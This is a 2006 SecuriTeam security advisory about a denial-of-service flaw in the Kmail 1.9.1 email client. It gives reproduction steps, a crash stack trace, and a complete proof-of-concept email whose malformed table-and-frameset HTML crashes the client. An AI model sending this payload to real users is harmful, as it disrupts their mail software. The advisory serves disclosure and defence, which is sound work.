The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Kmail Table with Frameset DoS
------------------------------------------------------------------------
SUMMARY
Kmail is a HTML compatible email client that comes installed by default
with the KDE desktop. A vulnerability in Kmail allows remote attackers to
cause a DoS whenever the product parses HTML. This can be done in Kmail by
going to Settings -> Configure Kmail ->Security -> and tick Prefer HTML
to Plain Text.
DETAILS
Vulnerable Systems:
* Kmail version 1.9.1 (KDE 3.5.2)
Kmail can be crashed due to incorrectly parsing certain HTML elements. In
this case the a combination of the <table> and <frameset> tags are
incorrectly parsed leading to a segmentation fault.
To reproduce the crash, copy the below pasted mail into your local mail
spool file (e.g /var/mail/`whoami`) or send it to yourself (without the
email headers obviously). Double click the new mail and when it opens
close it again. On closing it the program should crash and give the
following stack trace:
[KCrash handler]
#6 0xb790a334 in free () from /lib/tls/i686/cmov/libc.so.6
#7 0xb7aab8b1 in operator delete () from /usr/lib/libstdc++.so.6
#8 0xb7aab8fd in operator delete[] () from /usr/lib/libstdc++.so.6
#9 0xb6cd05d8 in non-virtual thunk to
DOM::HTMLObjectBaseElementImpl::~HTMLObjectBaseElementImpl() () from
/usr/lib/libkhtml.so.4
#10 0x084de030 in ?? ()
#11 0x084d03e8 in ?? ()
#12 0x00000001 in ?? ()
#13 0xb6e43aec in ?? () from /usr/lib/libkhtml.so.4
#14 0x084d03e8 in ?? ()
#15 0x00000000 in ?? ()
Exploit:
Return-Path: <nnp@torvalds>
X-Original-To: test
Delivered-To: test@torvalds
Received: by torvalds (Postfix, from userid 1000)
id D854F83BF5; Tue, 26 Sep 2006 16:06:36 +0100 (IST)
To: test@torvalds
Content-Type: text/html
Subject: testing
Message-Id: <20060926150636.D854F83BF5@torvalds>
Date: Tue, 26 Sep 2006 16:06:36 +0100 (IST)
From: nnp@torvalds (nnp)
Status: R
X-Status: NC
X-KMail-EncryptionState:
X-KMail-SignatureState:
X-KMail-MDN-Sent:
<!-- http://silenthack.co.uk/nnp/exploits/kmail/tableCrash -->
<HTML>
<HEAD>
<TABLE <FRAMESET ROWS>
ADDITIONAL INFORMATION
The information has been provided by <mailto:version5@gmail.com> nnp.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
